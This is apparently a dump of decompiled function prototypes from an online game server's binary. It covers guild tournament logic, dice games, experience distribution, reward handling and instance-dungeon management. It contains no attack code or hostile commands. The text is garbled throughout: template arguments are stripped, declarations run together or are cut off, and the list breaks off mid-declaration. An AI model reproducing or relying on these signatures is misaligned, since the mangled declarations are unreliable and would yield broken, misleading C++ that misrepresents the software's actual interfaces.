*this, std::_Tree_nod,std::allocator >,0> >::_Node *_Larg, std::_Tree_nod,std::allocator >,0> >::_Node *_Parg, std::_Tree_nod,std::allocator >,0> >::_Node *_Rarg, std::pair *_Val, char _Carg); std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode); int __stdcall std::vector>::_Ucopy(char *src, int a2, char *dst); void __cdecl std::_Random_shuffle>::iterator_int>(std::vector >::iterator _First, std::vector >::iterator _Last, int *__formal); void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::GuildMemberInfo *_First, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); TOURNAMENT_PLAYER_SCORE *__cdecl std::_Uninit_copy>(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); bool __thiscall GuildTournamentSystem::IsPlayerRegister(GuildTournamentSystem *this, #331 *pCheckObject); void __thiscall GuildTournamentSystem::SetErrorDelegate(GuildTournamentSystem *this, fastdelegate::FastDelegate1 delegate); void __thiscall GuildTournamentSystem::ClearErrorDelegate(GuildTournamentSystem *this); void __thiscall DiceGame::DiceThrow(DiceGame *this, unsigned int GameUser); void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::find(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, const unsigned int *_Keyval); void __thiscall std::basic_string_std::allocator>::_basic_string_std::allocator>(std::basic_string,std::allocator > *this); unsigned __int16 *__thiscall std::vector>::_Ufill(std::vector > *this, unsigned __int16 *_Ptr, unsigned int _Count, const unsigned __int16 *_Val); bool __thiscall std::less_std::allocator>>::operator__(std::less,std::allocator > > *this, std::basic_string,std::allocator > *_Left, std::basic_string,std::allocator > *_Right); std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lbound(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > *_Keyval); void __thiscall std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::__Node(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator >::iterator *__cdecl std::_Upper_bound>::iterator_GuildTournamentSystem::GuildMemberInfo_int_bool____cdecl____GuildTournamentSystem::GuildMemberInfo_const___GuildTournamentSystem::GuildMemberInfo_const___>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, GuildTournamentSystem::GuildMemberInfo *_Val, bool (__cdecl *_Pred)(GuildTournamentSystem::GuildMemberInfo *, GuildTournamentSystem::GuildMemberInfo *), int *__formal); void __cdecl std::_Uninit_fill_n>(TOURNAMENT_PLAYER_SCORE *_First, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall GuildTournamentSystem::PortalInfo::_PortalInfo(GuildTournamentSystem::PortalInfo *this); void __thiscall GuildTournamentSystem::FlagInfo::FlagInfo(GuildTournamentSystem::FlagInfo *this); void __thiscall GuildTournamentSystem::FlagInfo::_FlagInfo(GuildTournamentSystem::FlagInfo *this); void __thiscall GuildTournamentSystem::Gate::_Gate(GuildTournamentSystem::Gate *this); void __thiscall GuildTournamentSystem::DiceGameThrow(GuildTournamentSystem *this, #331 *pObject); void __thiscall DiceGame::Update(DiceGame *this, int nTick); TickTimer *__thiscall std::vector>::_Ufill(std::vector > *this, TickTimer *_Ptr, unsigned int _Count, TickTimer *_Val); GuildTournamentSystem::GuildMemberInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::GuildMemberInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::find(...); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where); TOURNAMENT_PLAYER_SCORE *__thiscall std::vector>::_Ufill(std::vector > *this, TOURNAMENT_PLAYER_SCORE *_Ptr, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val); void __thiscall GuildTournamentSystem::Gate::Gate(GuildTournamentSystem::Gate *this, GuildTournamentSystem::Gate *__that); void __thiscall GuildTournamentSystem::PortalInfo::PortalInfo(GuildTournamentSystem::PortalInfo *this, GuildTournamentSystem::PortalInfo *__that); void __cdecl std::_Construct(GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); void __thiscall std::vector>::_Xran(std::vector > *this); void __thiscall std::vector>::_Xlen(std::vector > *this); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::_Insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode, std::pair *_Val); void __thiscall GuildTournamentSystem::FlagInfo::FlagInfo(GuildTournamentSystem::FlagInfo *this, GuildTournamentSystem::FlagInfo *__that); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase(...); int std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::_Node(...); GuildTournamentSystem::Gate *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::AdvanMobItemRegenInfo *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::Gate *__cdecl std::_Uninit_copy>(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::AdvanMobItemRegenInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::GuildMemberInfo *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos); TickTimer *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos); GuildTournamentSystem::FlagInfo *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Erase(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const unsigned __int16 *_Val); std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _First, std::_Tree,std::allocator >,0> >::iterator _Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, TickTimer *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(...); void __cdecl std::fill(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Val); void __cdecl std::fill(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); int __thiscall GuildTournamentSystem::FlagInfo::operator_(int this, int a2); void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::Gate *_First, unsigned int _Count, GuildTournamentSystem::Gate *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::FlagInfo *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::FlagInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); bool __thiscall GuildTournamentSystem::PortalResiter(GuildTournamentSystem *this, #331 *, unsigned int, const char *, const char *); void __thiscall GuildTournamentSystem::SendScorePacket::_SendScorePacket(GuildTournamentSystem::SendScorePacket *this); bool __thiscall GuildTournamentSystem::IsFlagCapture(GuildTournamentSystem *this, #331 *, unsigned __int16); bool __thiscall GuildTournamentSystem::IsUseGate(GuildTournamentSystem *this, #331 *, const unsigned __int16, const unsigned __int16); void __thiscall GuildTournamentSystem::ScanEnemyUser(GuildTournamentSystem *this, #331 *pObject); void __thiscall GuildTournamentSystem::InitFlagAbStateSetup(GuildTournamentSystem *this); void __thiscall GuildTournamentSystem::GuildGroup::EverythingGiveBuff(GuildTournamentSystem::GuildGroup *this, const char *BuffName, int nTime); #331 *__thiscall GuildTournamentSystem::GuildGroup::GetGuildMaster(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::GuildGroup::CheckManagerUser(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::GuildGroup::SetAdvan(GuildTournamentSystem::GuildGroup *this, GuildTournamentSystem::GuildGroup::Advantage *val); void __thiscall GuildTournamentSystem::GuildGroup::SetFlagMultiple(GuildTournamentSystem::GuildGroup *this, int val); bool __thiscall GuildTournamentSystem::SendScorePacket::SendtoPlayer(GuildTournamentSystem::SendScorePacket *this, #331 *, int); bool __thiscall GuildTournamentSystem::SendScorePacket::SendtoAllinMap(GuildTournamentSystem::SendScorePacket *this, #331 *, int); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::GuildMemberInfo *_Val); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where, std::pair *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, TickTimer *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, TOURNAMENT_PLAYER_SCORE *_Val); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase(...); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert(...); void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last); void __cdecl std::fill(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Val); void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::FlagInfo *_First, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall GuildTournamentSystem::GuildMasterRevive(GuildTournamentSystem *this, #331 *pReviveObj); void __thiscall GuildTournamentSystem::ChangeAdvanRule(GuildTournamentSystem *this); void __thiscall GuildTournamentSystem::GuildGroup::GuildMasterBuffRun(GuildTournamentSystem::GuildGroup *this); #331 *__thiscall GuildTournamentSystem::GuildGroup::GetManagerUser(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::GuildGroup::Update(GuildTournamentSystem::GuildGroup *this, int nTickDeltaTime); void __thiscall GuildTournamentSystem::GuildGroup::SendWinEventToScript(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::SendScorePacket::SendScorePacket(GuildTournamentSystem::SendScorePacket *this, GuildTournamentSystem::GuildGroup *pGroup); void __thiscall std::vector>::push_back(std::vector > *this, const unsigned __int16 *_Val); int *__thiscall std::map_std::allocator>>::operator__(std::map,std::allocator > > *this, const unsigned int *_Keyval); void __thiscall std::vector>::push_back(std::vector > *this, TickTimer *_Val); void __thiscall std::vector>::push_back(std::vector > *this, TOURNAMENT_PLAYER_SCORE *_Val); void __thiscall std::vector>::push_back(std::vector > *this); GuildTournamentSystem::Gate *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::Gate *_Ptr, unsigned int _Count, GuildTournamentSystem::Gate *_Val); void __thiscall std::vector>::_Tidy(std::vector > *this); GuildTournamentSystem::AdvanMobItemRegenInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert(...); void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::Gate *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last); void __thiscall std::map_std::allocator>>::_map_std::allocator>>(std::map,std::allocator > > *this); void __cdecl GuildTournamentSystem::SetGuildMemberGrade(unsigned int regCharNumber, int nGrade); void __thiscall GuildTournamentSystem::DiceGameStart(GuildTournamentSystem *this, int nTick); void __thiscall GuildTournamentSystem::MakeGTItemTargets(GuildTournamentSystem *this, std::vector > *pVector, #331 *pSendObject, #331 *pObject, GTIServer *pServer); void __thiscall GuildTournamentSystem::GuildGroup::AddScore(GuildTournamentSystem::GuildGroup *this, int nScore); void __thiscall GuildTournamentSystem::GuildGroup::SetSkillPoint(GuildTournamentSystem::GuildGroup *this, unsigned int unCount); bool __thiscall GuildTournamentSystem::GuildGroup::UseGuildSkill(GuildTournamentSystem::GuildGroup *this, int nNumber, GuildTournamentSystem::GuildGroup *pEnemyGroup); void __thiscall GuildTournamentSystem::GuildGroup::SetTournamentType(GuildTournamentSystem::GuildGroup *this, int nType); bool __thiscall GuildTournamentSystem::GuildGroup::ChangeGateState(GuildTournamentSystem::GuildGroup *this, bool bUse, const unsigned __int16 hFlag); void __thiscall GuildTournamentSystem::GuildGroup::AddTeamNPC(GuildTournamentSystem::GuildGroup *this, unsigned __int16 Hnd); void __thiscall std::map_std::allocator>>::map_std::allocator>>(std::map,std::allocator > > *this); void __thiscall std::vector>::_vector>(std::vector > *this); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert(...); void __thiscall std::vector>::_Tidy(std::vector > *this); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); void __thiscall std::vector>::_Tidy(std::vector > *this); GuildTournamentSystem::FlagInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::FlagInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val); void __thiscall std::map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::_map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::(std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::operator__(std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > *_Keyval); void __thiscall std::vector>::_vector>(std::vector > *this); void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::Gate *_Val); void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); void __thiscall std::vector>::_vector>(std::vector > *this); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::FlagInfo *_Val); void __thiscall GuildTournamentSystem::GuildGroup::_GuildGroup(GuildTournamentSystem::GuildGroup *this); bool __thiscall GuildTournamentSystem::GateRegister(GuildTournamentSystem *this, #331 *, unsigned int, unsigned __int16, const char *); void __thiscall GuildTournamentSystem::DeadPlayer(GuildTournamentSystem *this, #331 *, #331 *); void __thiscall GuildTournamentSystem::Roution(GuildTournamentSystem *this); bool __thiscall GuildTournamentSystem::PlayerRegister(GuildTournamentSystem *this, #331 *pObject); void __thiscall GuildTournamentSystem::SendMapInPlayerInfoToObserber(GuildTournamentSystem *this, #331 *pObject); bool __thiscall GuildTournamentSystem::PlayerUnRegister(GuildTournamentSystem *this, #331 *pObject); bool __thiscall GuildTournamentSystem::EndBattle(GuildTournamentSystem *this, tGuildTournamentResult *rGuildTournamentResult); void __thiscall GuildTournamentSystem::GuildGroup::Clear(GuildTournamentSystem::GuildGroup *this); void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::FlagInfo *_Val); bool __thiscall GuildTournamentSystem::Clear(GuildTournamentSystem *this); bool __thiscall GuildTournamentSystem::FlagRegister(GuildTournamentSystem *this, #331 *, const char *, const char *); void __thiscall GuildTournamentSystem::AddAdvanItemMonster(GuildTournamentSystem *this, GuildTournamentSystem::AdvanMobItemRegenInfo *Info, unsigned int GuildNumber); void __thiscall GuildTournamentSystem::GuildGroup::GuildGroup(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::GuildTournamentSystem(GuildTournamentSystem *this); void *__thiscall GuildTournamentSystem::_scalar_deleting_destructor_(GuildTournamentSystem *this, unsigned int); void __thiscall GuildTournamentSystem::_GuildTournamentSystem(GuildTournamentSystem *this); bool __thiscall GuildTournamentSystem::Initialize(GuildTournamentSystem *this, unsigned int AGuildNumber, unsigned int BGuildNumber, int nType, int nSeed); void __thiscall GuildWarManager::gwm_Clear(GuildWarManager *this); GuildWarElement *__thiscall GuildWarManager::gwm_IsEnemyGuild(GuildWarManager *this, unsigned int a, unsigned int b); void __thiscall GuildWarManager::gwm_WarStart(GuildWarManager *this, unsigned int a, unsigned int b); void __thiscall GuildWarManager::gwm_WarStop(GuildWarManager *this, unsigned int a, unsigned int b); void __thiscall GuildWarManager::gwm_EnemyCheck(GuildWarManager *this, char cjcresult, unsigned int a, unsigned int b); int __thiscall ShineObjectClass::ShinePlayer::so_PartyRegistNumber_InAttack(void *this); unsigned __int16 __thiscall ShineObjectClass::ShineServant::so_PartyRegistNumber_InAttack(ShineObjectClass::ShineServant *this); int __thiscall ShineObjectClass::ShineObject::so_GetCharRegistNumber_ItemLooter(void *this); unsigned int __thiscall ShineObjectClass::ShineServant::so_GetCharRegistNumber_ItemLooter(ShineObjectClass::ShineServant *this); unsigned __int16 __thiscall ShineObjectClass::ShineServant::so_GetZoneHandle_ItemLooter(ShineObjectClass::ShineServant *this); int __thiscall HitMeList::Enemy::e_TimeCompare(HitMeList::Enemy *this, List *lst, unsigned __int16 hnd); void __thiscall LevelHandicap4ExperienceDouble::LevelHandicap4ExperienceDouble(LevelHandicap4ExperienceDouble *this); void __thiscall LevelHandicap4ExperienceDouble::lh4ed_Load(LevelHandicap4ExperienceDouble *this, OptionReader *or); void __thiscall PartyExperienceBonusDouble::pebd_Load(PartyExperienceBonusDouble *this, OptionReader *or); char __thiscall List::l_PushZ(List *this, HitMeList::Enemy *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall ListMaximumSearch::lid_Call(ListMaximumSearch *this, HitMeList::Enemy *ele, unsigned __int16 handle); void __thiscall List::_List(HitMeList::EnemyList *this); int __thiscall HitMeList::Enemy::e_ObjCompare(HitMeList::Enemy *this, List *lst, unsigned __int16 hnd, HitMeList::Enemy *key); void __thiscall ScanEnemy4ExpDist::ScanEnemy4ExpDist(ScanEnemy4ExpDist *this, List *lst, #331 *mob, MobInfoServer *or); void __thiscall ScanEnemy4ExpDist::_ScanEnemy4ExpDist(ScanEnemy4ExpDist *this); void __thiscall ScanEnemy4ExpDist::se4ed_FreeElement(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle); void __thiscall ScanEnemy4ExpDist::se4ed_CheckParty(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle); void __thiscall ScanEnemy4ExpDist::se4ed_CheckSoloing(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle); long double __thiscall LevelHandicap4ExperienceDouble::lh4ed_Handicap(LevelHandicap4ExperienceDouble *this, unsigned __int16 plyparty, int levplayer, int levmob); void __thiscall ExperienceDistribute::ed_GiveExperience(ExperienceDistribute *this, #331 *, int); char __thiscall ExperienceDistribute::lid_Call(ExperienceDistribute *this, HitMeList::Enemy *ele, unsigned __int16 handle); void __cdecl HitMeList::hml_Load(Name4 *world); HitMeList::Enemy *__thiscall List::l_MaximumSearch(List *this, int (__thiscall *compfunc)(HitMeList::Enemy *this, List *, unsigned __int16), unsigned __int16 *hnd); HitMeList::Enemy *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(HitMeList::Enemy *this, List *, unsigned __int16, HitMeList::Enemy *), unsigned __int16 *hnd, HitMeList::Enemy *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall HitMeList::EnemyList::el_Store(HitMeList::EnemyList *this, #331 *, int); unsigned int __thiscall HitMeList::EnemyList::el_FindLooter(HitMeList::EnemyList *this, char *loot_party); void __thiscall HitMeList::EnemyList::el_ExpDistribute(HitMeList::EnemyList *this, #331 *, MobDataBox::MobDataBoxIndex *, unsigned __int16); char __thiscall ScanEnemy4ExpDist::lid_Call(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle); void __thiscall HitMeList::EnemyList::EnemyList(HitMeList::EnemyList *this); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); void __thiscall WorldManagerSession::wms_NC_HOLY_PROMISE_MY_UP_ZONE(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_HOLY_PROMISE_MYUPPER_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __stdcall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet(int upper); void __stdcall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry(int cenuse); void __cdecl ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess(); void __thiscall HolyPromiseCenTransferManager::hpctm_Process(HolyPromiseCenTransferManager *this, PROTO_NC_HOLY_PROMISE_CENTRANSFER_RNG *transfer); void __thiscall ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom(void *this, int cen, int from); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_HOLY_PROMISE_DB_GET_CEN_REWARD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward(void *this, int pDBAck); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_HOLY_PROMISE_DB_WITHDRAW_CEN_REWARD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseWithdrawCenReward(void *this, int pDBAck); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom(void *this, int transfer); char __thiscall ORToken::operator__(ORToken *this, ORToken *nm); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak FieldOption::InstanceDungeonInfo *__thiscall FieldContainer::fc_GetInstanceDungeonInfo(FieldContainer *this, ORToken *Index); FieldOption::InstanceDungeonInfo *__thiscall FieldContainer::fc_GetInstanceDungeonInfoByMapName(FieldContainer *this, Name3 *pMapName); void __thiscall WorldManagerSession::wms_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall KickPlayer::_KickPlayer(KickPlayer *this); void __thiscall IsAnybody::_IsAnybody(IsAnybody *this); char __thiscall IsAnybody::ali_Work(IsAnybody *this, #331 *, #331 *, unsigned int); int __thiscall PROTO_NC_INSTANCE_DUNGEON_FIND_RNG::operator_(int this, int a2); void __thiscall ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(TableNameCompareArgument *this); bool __thiscall MapClusterManager::ClusterManager::AddInstanceDungeonCluster(MapClusterManager::ClusterManager *this, const char *ClientMapName, int Index, INSTANCE_DUNGEON::CATEGORY Category); #592 *__thiscall MapClusterManager::MapCluster::mc_FindEmptyByRegnum(MapClusterManager::MapCluster *this, unsigned int RegisterNumber); #592 *__thiscall MapClusterManager::MapCluster::mc_FindExistByRegnum(MapClusterManager::MapCluster *this, unsigned int RegisterNumber); char __thiscall KickPlayer::ali_Work(KickPlayer *this, #331 *, #331 *, unsigned int); void __thiscall FieldMap::fm_KickAll(void *this); char __thiscall FieldMap::fm_Exist(void *this, int Flag); void __thiscall ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon(MapClusterManager::ClusterManager *this, INSTANCE_DUNGEON::CATEGORY Category, unsigned int RegisterNumber); void 